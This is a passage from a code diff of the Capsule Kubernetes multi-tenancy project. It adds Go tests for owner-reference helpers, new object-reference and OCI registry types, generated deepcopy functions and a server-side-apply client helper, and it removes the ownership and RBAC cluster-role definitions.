    +		obj.SetOwnerReferences([]metav1.OwnerReference{a, b})
    +
    +		replB := metav1.OwnerReference{APIVersion: "v2", Kind: "B2", Name: "b2", UID: types.UID("uB")}
    +		if err := meta.SetLooseOwnerReference(obj, replB); err != nil {
    +			t.Fatalf("unexpected err: %v", err)
    +		}
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 2 {
    +			t.Fatalf("expected 2 ownerrefs, got %d", len(refs))
    +		}
    +
    +		// order preserved; only b overwritten
    +		if !meta.LooseOwnerReferenceEqual(refs[0], a) {
    +			t.Fatalf("expected first ref unchanged %v, got %v", a, refs[0])
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[1], replB) {
    +			t.Fatalf("expected second ref overwritten %v, got %v", replB, refs[1])
    +		}
    +	})
    +}
    +
    +func TestRemoveLooseOwnerReference(t *testing.T) {
    +	t.Run("removes by UID", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "A", Name: "a", UID: types.UID("uA")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "B", Name: "b", UID: types.UID("uB")}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{a, b})
    +
    +		meta.RemoveLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("uA")})
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 1 {
    +			t.Fatalf("expected 1 ownerref remaining, got %d", len(refs))
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[0], b) {
    +			t.Fatalf("expected remaining ref %v, got %v", b, refs[0])
    +		}
    +	})
    +
    +	t.Run("no-op when UID not found", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "A", Name: "a", UID: types.UID("uA")}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{a})
     
    -	target := &corev1.ConfigMap{
    -		ObjectMeta: metav1.ObjectMeta{
    -			Name:      "target",
    -			Namespace: "default",
    -		},
    +		meta.RemoveLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("uX")})
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 1 {
    +			t.Fatalf("expected 1 ownerref, got %d", len(refs))
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[0], a) {
    +			t.Fatalf("expected unchanged ref %v, got %v", a, refs[0])
    +		}
    +	})
    +
    +	t.Run("removes duplicates with same UID", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		a1 := metav1.OwnerReference{APIVersion: "v1", Kind: "A", Name: "a1", UID: types.UID("uA")}
    +		a2 := metav1.OwnerReference{APIVersion: "v1", Kind: "A", Name: "a2", UID: types.UID("uA")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "B", Name: "b", UID: types.UID("uB")}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{a1, b, a2})
    +
    +		meta.RemoveLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("uA")})
    +
    +		refs := obj.GetOwnerReferences()
    +		if len(refs) != 1 {
    +			t.Fatalf("expected 1 ownerref remaining, got %d", len(refs))
    +		}
    +		if !meta.LooseOwnerReferenceEqual(refs[0], b) {
    +			t.Fatalf("expected remaining ref %v, got %v", b, refs[0])
    +		}
    +	})
    +}
    +
    +func TestHasLooseOwnerReference(t *testing.T) {
    +	t.Run("true when UID present", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{{UID: types.UID("u1")}})
    +
    +		if !meta.HasLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("u1")}) {
    +			t.Fatalf("expected true")
    +		}
    +	})
    +
    +	t.Run("false when UID absent", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		obj.SetOwnerReferences([]metav1.OwnerReference{{UID: types.UID("u1")}})
    +
    +		if meta.HasLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("u2")}) {
    +			t.Fatalf("expected false")
    +		}
    +	})
    +
    +	t.Run("false when no ownerrefs", func(t *testing.T) {
    +		obj := &corev1.ConfigMap{}
    +		if meta.HasLooseOwnerReference(obj, metav1.OwnerReference{UID: types.UID("u1")}) {
    +			t.Fatalf("expected false")
    +		}
    +	})
    +}
    +
    +func TestGetLooseOwnerReference(t *testing.T) {
    +	obj := &corev1.ConfigMap{}
    +	obj.SetName("cm-1")
    +	obj.SetUID(types.UID("uid-1"))
    +
    +	// Ensure GVK is set (GetObjectKind().GroupVersionKind() reads this)
    +	obj.GetObjectKind().SetGroupVersionKind(schema.GroupVersionKind{
    +		Group:   "",
    +		Version: "v1",
    +		Kind:    "ConfigMap",
    +	})
    +
    +	ref := meta.GetLooseOwnerReference(obj)
    +
    +	// BUG FIXED: APIVersion must be group/version string, not Kind.
    +	if ref.APIVersion != "v1" {
    +		t.Fatalf("expected APIVersion==v1, got %q", ref.APIVersion)
    +	}
    +	if ref.Kind != "ConfigMap" {
    +		t.Fatalf("expected Kind==ConfigMap, got %q", ref.Kind)
    +	}
    +	if ref.Name != "cm-1" {
    +		t.Fatalf("expected Name==cm-1, got %q", ref.Name)
     	}
    +	if ref.UID != types.UID("uid-1") {
    +		t.Fatalf("expected UID==uid-1, got %q", ref.UID)
    +	}
    +}
     
    -	t.Run("SetLooseOwnerReference adds and clears controller fields", func(t *testing.T) {
    -		err := SetLooseOwnerReference(target, owner, scheme)
    -		assert.NoError(t, err)
    +func TestLooseOwnerReferenceEqual(t *testing.T) {
    +	t.Run("equal when all fields match", func(t *testing.T) {
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n", UID: types.UID("u")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n", UID: types.UID("u")}
    +		if !meta.LooseOwnerReferenceEqual(a, b) {
    +			t.Fatalf("expected equal")
    +		}
    +	})
     
    -		refs := target.GetOwnerReferences()
    -		assert.Len(t, refs, 1)
    -		ref := refs[0]
    -		assert.Equal(t, owner.UID, ref.UID)
    -		assert.Nil(t, ref.BlockOwnerDeletion)
    -		assert.Nil(t, ref.Controller)
    +	t.Run("not equal when APIVersion differs", func(t *testing.T) {
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n", UID: types.UID("u")}
    +		b := metav1.OwnerReference{APIVersion: "v2", Kind: "K", Name: "n", UID: types.UID("u")}
    +		if meta.LooseOwnerReferenceEqual(a, b) {
    +			t.Fatalf("expected not equal")
    +		}
     	})
     
    -	t.Run("HasLooseOwnerReference returns true if present", func(t *testing.T) {
    -		result := HasLooseOwnerReference(target, owner)
    -		assert.True(t, result)
    +	t.Run("not equal when Kind differs", func(t *testing.T) {
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "K1", Name: "n", UID: types.UID("u")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "K2", Name: "n", UID: types.UID("u")}
    +		if meta.LooseOwnerReferenceEqual(a, b) {
    +			t.Fatalf("expected not equal")
    +		}
     	})
     
    -	t.Run("RemoveLooseOwnerReference removes the reference", func(t *testing.T) {
    -		RemoveLooseOwnerReference(target, owner)
    -		refs := target.GetOwnerReferences()
    -		assert.Len(t, refs, 0)
    +	t.Run("not equal when Name differs", func(t *testing.T) {
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n1", UID: types.UID("u")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n2", UID: types.UID("u")}
    +		if meta.LooseOwnerReferenceEqual(a, b) {
    +			t.Fatalf("expected not equal")
    +		}
     	})
     
    -	t.Run("HasLooseOwnerReference returns false if not present", func(t *testing.T) {
    -		result := HasLooseOwnerReference(target, owner)
    -		assert.False(t, result)
    +	t.Run("not equal when UID differs", func(t *testing.T) {
    +		a := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n", UID: types.UID("u1")}
    +		b := metav1.OwnerReference{APIVersion: "v1", Kind: "K", Name: "n", UID: types.UID("u2")}
    +		if meta.LooseOwnerReferenceEqual(a, b) {
    +			t.Fatalf("expected not equal")
    +		}
     	})
     }
    
  • pkg/api/meta/ownership.go+0 16 removed
    @@ -1,16 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package meta
    -
    -const (
    -	CapsuleFieldOwnerPrefix = "capsule"
    -)
    -
    -func ControllerFieldOwner() string {
    -	return ControllerFieldOwnerPrefix("controller")
    -}
    -
    -func ControllerFieldOwnerPrefix(fieldowner string) string {
    -	return CapsuleFieldOwnerPrefix + "/" + fieldowner
    -}
    
  • pkg/api/meta/reference.go+91 0 added
    @@ -0,0 +1,91 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package meta
    +
    +// NamespaceName must be a lowercase RFC1123 label.
    +// +kubebuilder:validation:Pattern=^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
    +// +kubebuilder:validation:MaxLength=63
    +type RFC1123Name string
    +
    +func (n RFC1123Name) String() string {
    +	return string(n)
    +}
    +
    +// Name must be unique within a namespace.
    +// +kubebuilder:validation:Pattern=^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
    +// +kubebuilder:validation:MaxLength=253
    +// +kubebuilder:object:generate=true
    +type RFC1123SubdomainName string
    +
    +func (n RFC1123SubdomainName) String() string {
    +	return string(n)
    +}
    +
    +// LocalObjectReference contains enough information to locate the referenced Kubernetes resource object.
    +// +kubebuilder:object:generate=true
    +type LocalRFC1123ObjectReference struct {
    +	// Name of the referent.
    +	// +required
    +	Name RFC1123Name `json:"name"`
    +}
    +
    +// LocalObjectReference contains enough information to locate the referenced Kubernetes resource object.
    +// +kubebuilder:object:generate=true
    +type LocalObjectReference struct {
    +	// Name of the referent.
    +	// +required
    +	Name string `json:"name"`
    +}
    +
    +// NamespacedObjectReference contains enough information to locate the referenced Kubernetes resource object in any
    +// namespace.
    +// +kubebuilder:object:generate=true
    +type NamespacedRFC1123ObjectReference struct {
    +	// Name of the referent.
    +	// +required
    +	Name RFC1123Name `json:"name"`
    +
    +	// Namespace of the referent, when not specified it acts as LocalObjectReference.
    +	// +optional
    +	Namespace RFC1123SubdomainName `json:"namespace,omitempty"`
    +}
    +
    +// NamespacedObjectReference contains enough information to locate the referenced Kubernetes resource object in any
    +// namespace.
    +// +kubebuilder:object:generate=true
    +type NamespacedObjectReference struct {
    +	// Name of the referent.
    +	// +required
    +	Name string `json:"name"`
    +
    +	// Namespace of the referent, when not specified it acts as LocalObjectReference.
    +	// +optional
    +	Namespace RFC1123SubdomainName `json:"namespace,omitempty"`
    +}
    +
    +// NamespacedObjectReference contains enough information to locate the referenced Kubernetes resource object in any
    +// namespace. But the namespace is required.
    +// +kubebuilder:object:generate=true
    +type NamespacedObjectReferenceWithNamespace struct {
    +	// Name of the referent.
    +	// +required
    +	Name string `json:"name"`
    +
    +	// Namespace of the referent.
    +	// +required
    +	Namespace RFC1123SubdomainName `json:"namespace,omitempty"`
    +}
    +
    +// NamespacedObjectReference contains enough information to locate the referenced Kubernetes resource object in any
    +// namespace. But the namespace is required.
    +// +kubebuilder:object:generate=true
    +type NamespacedRFC1123ObjectReferenceWithNamespace struct {
    +	// Name of the referent.
    +	// +required
    +	Name RFC1123Name `json:"name"`
    +
    +	// Namespace of the referent.
    +	// +required
    +	Namespace RFC1123SubdomainName `json:"namespace,omitempty"`
    +}
    
  • pkg/api/meta/zz_generated.deepcopy.go+90 0 modified
    @@ -45,3 +45,93 @@ func (in ConditionList) DeepCopy() ConditionList {
     	in.DeepCopyInto(out)
     	return *out
     }
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *LocalObjectReference) DeepCopyInto(out *LocalObjectReference) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new LocalObjectReference.
    +func (in *LocalObjectReference) DeepCopy() *LocalObjectReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(LocalObjectReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *LocalRFC1123ObjectReference) DeepCopyInto(out *LocalRFC1123ObjectReference) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new LocalRFC1123ObjectReference.
    +func (in *LocalRFC1123ObjectReference) DeepCopy() *LocalRFC1123ObjectReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(LocalRFC1123ObjectReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespacedObjectReference) DeepCopyInto(out *NamespacedObjectReference) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespacedObjectReference.
    +func (in *NamespacedObjectReference) DeepCopy() *NamespacedObjectReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespacedObjectReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespacedObjectReferenceWithNamespace) DeepCopyInto(out *NamespacedObjectReferenceWithNamespace) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespacedObjectReferenceWithNamespace.
    +func (in *NamespacedObjectReferenceWithNamespace) DeepCopy() *NamespacedObjectReferenceWithNamespace {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespacedObjectReferenceWithNamespace)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespacedRFC1123ObjectReference) DeepCopyInto(out *NamespacedRFC1123ObjectReference) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespacedRFC1123ObjectReference.
    +func (in *NamespacedRFC1123ObjectReference) DeepCopy() *NamespacedRFC1123ObjectReference {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespacedRFC1123ObjectReference)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespacedRFC1123ObjectReferenceWithNamespace) DeepCopyInto(out *NamespacedRFC1123ObjectReferenceWithNamespace) {
    +	*out = *in
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespacedRFC1123ObjectReferenceWithNamespace.
    +func (in *NamespacedRFC1123ObjectReferenceWithNamespace) DeepCopy() *NamespacedRFC1123ObjectReferenceWithNamespace {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespacedRFC1123ObjectReferenceWithNamespace)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    
  • pkg/api/owner_list_test.go+56 54 modified
    @@ -1,110 +1,112 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package api
    +package api_test
     
     import (
     	"testing"
     
     	"github.com/stretchr/testify/assert"
    +
    +	"github.com/projectcapsule/capsule/pkg/api"
     )
     
     func TestOwnerListSpec_FindOwner(t *testing.T) {
    -	bla := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: UserOwner,
    +	bla := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.UserOwner,
     				Name: "bla",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       IngressClassesProxy,
    -				Operations: []ProxyOperation{"Delete"},
    +				Kind:       api.IngressClassesProxy,
    +				Operations: []api.ProxyOperation{"Delete"},
     			},
     		},
     	}
    -	bar := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: GroupOwner,
    +	bar := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.GroupOwner,
     				Name: "bar",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       StorageClassesProxy,
    -				Operations: []ProxyOperation{"Delete"},
    +				Kind:       api.StorageClassesProxy,
    +				Operations: []api.ProxyOperation{"Delete"},
     			},
     		},
     	}
    -	baz := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: UserOwner,
    +	baz := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.UserOwner,
     				Name: "baz",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       StorageClassesProxy,
    -				Operations: []ProxyOperation{"Update"},
    +				Kind:       api.StorageClassesProxy,
    +				Operations: []api.ProxyOperation{"Update"},
     			},
     		},
     	}
    -	fim := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: ServiceAccountOwner,
    +	fim := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.ServiceAccountOwner,
     				Name: "fim",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       NodesProxy,
    -				Operations: []ProxyOperation{"List"},
    +				Kind:       api.NodesProxy,
    +				Operations: []api.ProxyOperation{"List"},
     			},
     		},
     	}
    -	bom := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: GroupOwner,
    +	bom := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.GroupOwner,
     				Name: "bom",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       StorageClassesProxy,
    -				Operations: []ProxyOperation{"Delete"},
    +				Kind:       api.StorageClassesProxy,
    +				Operations: []api.ProxyOperation{"Delete"},
     			},
     			{
    -				Kind:       NodesProxy,
    -				Operations: []ProxyOperation{"Delete"},
    +				Kind:       api.NodesProxy,
    +				Operations: []api.ProxyOperation{"Delete"},
     			},
     		},
     	}
    -	qip := OwnerSpec{
    -		CoreOwnerSpec: CoreOwnerSpec{
    -			UserSpec: UserSpec{
    -				Kind: ServiceAccountOwner,
    +	qip := api.OwnerSpec{
    +		CoreOwnerSpec: api.CoreOwnerSpec{
    +			UserSpec: api.UserSpec{
    +				Kind: api.ServiceAccountOwner,
     				Name: "qip",
     			},
     		},
    -		ProxyOperations: []ProxySettings{
    +		ProxyOperations: []api.ProxySettings{
     			{
    -				Kind:       StorageClassesProxy,
    -				Operations: []ProxyOperation{"List", "Delete"},
    +				Kind:       api.StorageClassesProxy,
    +				Operations: []api.ProxyOperation{"List", "Delete"},
     			},
     		},
     	}
    -	owners := OwnerListSpec{bom, qip, bla, bar, baz, fim}
    +	owners := api.OwnerListSpec{bom, qip, bla, bar, baz, fim}
     
    -	assert.Equal(t, owners.FindOwner("bom", GroupOwner), bom)
    -	assert.Equal(t, owners.FindOwner("qip", ServiceAccountOwner), qip)
    -	assert.Equal(t, owners.FindOwner("bla", UserOwner), bla)
    -	assert.Equal(t, owners.FindOwner("bar", GroupOwner), bar)
    -	assert.Equal(t, owners.FindOwner("baz", UserOwner), baz)
    -	assert.Equal(t, owners.FindOwner("fim", ServiceAccountOwner), fim)
    -	assert.Equal(t, owners.FindOwner("notfound", ServiceAccountOwner), OwnerSpec{})
    +	assert.Equal(t, owners.FindOwner("bom", api.GroupOwner), bom)
    +	assert.Equal(t, owners.FindOwner("qip", api.ServiceAccountOwner), qip)
    +	assert.Equal(t, owners.FindOwner("bla", api.UserOwner), bla)
    +	assert.Equal(t, owners.FindOwner("bar", api.GroupOwner), bar)
    +	assert.Equal(t, owners.FindOwner("baz", api.UserOwner), baz)
    +	assert.Equal(t, owners.FindOwner("fim", api.ServiceAccountOwner), fim)
    +	assert.Equal(t, owners.FindOwner("notfound", api.ServiceAccountOwner), api.OwnerSpec{})
     }
    
  • pkg/api/owner_status_list_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package api_test
    
  • pkg/api/rbac.go+0 54 removed
    @@ -1,54 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package api
    -
    -import (
    -	rbacv1 "k8s.io/api/rbac/v1"
    -	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    -)
    -
    -const (
    -	ProvisionerRoleName = "capsule-namespace-provisioner"
    -	DeleterRoleName     = "capsule-namespace-deleter"
    -)
    -
    -var (
    -	ClusterRoles = map[string]*rbacv1.ClusterRole{
    -		ProvisionerRoleName: {
    -			ObjectMeta: metav1.ObjectMeta{
    -				Name: ProvisionerRoleName,
    -			},
    -			Rules: []rbacv1.PolicyRule{
    -				{
    -					APIGroups: []string{""},
    -					Resources: []string{"namespaces"},
    -					Verbs:     []string{"create", "patch"},
    -				},
    -			},
    -		},
    -		DeleterRoleName: {
    -			ObjectMeta: metav1.ObjectMeta{
    -				Name: DeleterRoleName,
    -			},
    -			Rules: []rbacv1.PolicyRule{
    -				{
    -					APIGroups: []string{""},
    -					Resources: []string{"namespaces"},
    -					Verbs:     []string{"delete"},
    -				},
    -			},
    -		},
    -	}
    -
    -	ProvisionerClusterRoleBinding = &rbacv1.ClusterRoleBinding{
    -		ObjectMeta: metav1.ObjectMeta{
    -			Name: ProvisionerRoleName,
    -		},
    -		RoleRef: rbacv1.RoleRef{
    -			Kind:     "ClusterRole",
    -			Name:     ProvisionerRoleName,
    -			APIGroup: rbacv1.GroupName,
    -		},
    -	}
    -)
    
  • pkg/api/registry.go+36 0 added
    @@ -0,0 +1,36 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package api
    +
    +import corev1 "k8s.io/api/core/v1"
    +
    +// +kubebuilder:validation:Enum=Always;Never;IfNotPresent
    +type ImagePullPolicySpec string
    +
    +func (i ImagePullPolicySpec) String() string {
    +	return string(i)
    +}
    +
    +// +kubebuilder:validation:Enum=pod/images;pod/volumes
    +type RegistryValidationTarget string
    +
    +const (
    +	ValidateImages  RegistryValidationTarget = "pod/images"
    +	ValidateVolumes RegistryValidationTarget = "pod/volumes"
    +)
    +
    +// +kubebuilder:object:generate=true
    +type OCIRegistry struct {
    +	// OCI Registry endpoint, is treated as regular expression.
    +	Registry string `json:"url,omitzero"`
    +
    +	// Allowed PullPolicy for the given registry. Supplying no value allows all policies.
    +	// +optional
    +	// +kubebuilder:validation:Items:Enum=Always;Never;IfNotPresent
    +	Policy []corev1.PullPolicy `json:"policy,omitempty"`
    +
    +	// Requesting Resources
    +	//+kubebuilder:default:={pod/images,pod/volumes}
    +	Validation []RegistryValidationTarget `json:"validation,omitempty"`
    +}
    
  • pkg/api/users_list_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package api_test
    
  • pkg/api/users_test.go+3 0 modified
    @@ -1,3 +1,6 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
     package api_test
     
     import (
    
  • pkg/api/zz_generated.deepcopy.go+25 0 modified
    @@ -282,6 +282,31 @@ func (in *NetworkPolicySpec) DeepCopy() *NetworkPolicySpec {
     	return out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *OCIRegistry) DeepCopyInto(out *OCIRegistry) {
    +	*out = *in
    +	if in.Policy != nil {
    +		in, out := &in.Policy, &out.Policy
    +		*out = make([]corev1.PullPolicy, len(*in))
    +		copy(*out, *in)
    +	}
    +	if in.Validation != nil {
    +		in, out := &in.Validation, &out.Validation
    +		*out = make([]RegistryValidationTarget, len(*in))
    +		copy(*out, *in)
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new OCIRegistry.
    +func (in *OCIRegistry) DeepCopy() *OCIRegistry {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(OCIRegistry)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in OwnerListSpec) DeepCopyInto(out *OwnerListSpec) {
     	{
    
  • pkg/runtime/cert/ca.go+0 0 renamed
  • pkg/runtime/cert/ca_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package cert
    
  • pkg/runtime/cert/errors.go+0 0 renamed
  • pkg/runtime/cert/options.go+0 0 renamed
  • pkg/runtime/client/apply.go+90 0 added
    @@ -0,0 +1,90 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package client
    +
    +import (
    +	"context"
    +	"fmt"
    +
    +	apierr "k8s.io/apimachinery/pkg/api/errors"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +)
    +
    +func CreateOrPatch(
    +	ctx context.Context,
    +	c client.Client,
    +	obj client.Object,
    +	fieldOwner string,
    +	overwrite bool,
    +) error {
    +	gvks, _, err := c.Scheme().ObjectKinds(obj)
    +	if err != nil {
    +		return err
    +	}
    +
    +	if len(gvks) == 0 {
    +		return fmt.Errorf("no GVK found for object %T", obj)
    +	}
    +
    +	obj.GetObjectKind().SetGroupVersionKind(gvks[0])
    +
    +	//nolint:forcetypeassert
    +	actual := obj.DeepCopyObject().(client.Object)
    +
    +	key := client.ObjectKeyFromObject(obj)
    +
    +	err = c.Get(ctx, key, actual)
    +
    +	notFound := apierr.IsNotFound(err)
    +	if err != nil && !notFound {
    +		return err
    +	}
    +
    +	if !notFound {
    +		obj.SetResourceVersion(actual.GetResourceVersion())
    +	} else {
    +		obj.SetResourceVersion("")
    +	}
    +
    +	patchOpts := []client.PatchOption{
    +		client.FieldOwner(fieldOwner),
    +	}
    +
    +	if overwrite {
    +		patchOpts = append(patchOpts, client.ForceOwnership)
    +	}
    +
    +	//nolint:staticcheck
    +	return c.Patch(ctx, obj, client.Apply, patchOpts...)
    +}
    +
    +// Returns timestamp of last apply for a manager.
    +func LastApplyTimeForManager(obj *unstructured.Unstructured, manager string) *metav1.Time {
    +	var latest *metav1.Time
    +
    +	for i := range obj.GetManagedFields() {
    +		mf := obj.GetManagedFields()[i]
    +
    +		if mf.Manager != manager {
    +			continue
    +		}
    +
    +		if mf.Operation != metav1.ManagedFieldsOperationApply {
    +			continue
    +		}
    +
    +		if mf.Time == nil {
    +			continue
    +		}
    +
    +		if latest == nil || mf.Time.After(latest.Time) {
    +			t := *mf.Time
    +			latest = &t
    +		}
    +	}
    +
    +	return latest
    +}
    
  • pkg/runtime/client/ignore.go+185 0 added
    @@ -0,0 +1,185 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package client
    +
    +import (
    +	"fmt"
    +	"strconv"
    +	"strings"
    +
    +	"github.com/fluxcd/pkg/apis/kustomize"
    +	"github.com/fluxcd/pkg/ssa/jsondiff"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +)
    +
    +// +kubebuilder:object:generate=true
    +type IgnoreRule struct {
    +	// Paths is a list of JSON Pointer (RFC 6901) paths to be excluded from
    +	// consideration in a Kubernetes object.
    +	// +required
    +	Paths []string `json:"paths"`
    +
    +	// Target is a selector for specifying Kubernetes objects to which this
    +	// rule applies.
    +	// If Target is not set, the Paths will be ignored for all Kubernetes
    +	// objects within the manifest of the Helm release.
    +	// +optional
    +	Target *kustomize.Selector `json:"target,omitempty"`
    +}
    +
    +func (i *IgnoreRule) Matches(obj *unstructured.Unstructured) bool {
    +	if i == nil || i.Target == nil {
    +		return true
    +	}
    +
    +	sr, err := jsondiff.NewSelectorRegex(&jsondiff.Selector{
    +		Group:              i.Target.Group,
    +		Version:            i.Target.Version,
    +		Kind:               i.Target.Kind,
    +		Namespace:          i.Target.Namespace,
    +		Name:               i.Target.Name,
    +		LabelSelector:      i.Target.LabelSelector,
    +		AnnotationSelector: i.Target.AnnotationSelector,
    +	})
    +	if err != nil {
    +		return false
    +	}
    +
    +	return sr.MatchUnstructured(obj)
    +}
    +
    +// jsonPointerGet returns (value, true) if JSON pointer p exists.
    +func JsonPointerGet(obj map[string]any, p string) (any, bool) {
    +	if p == "" || p == "/" {
    +		return obj, true
    +	}
    +
    +	parts := strings.Split(p, "/")[1:]
    +
    +	cur := any(obj)
    +
    +	for _, raw := range parts {
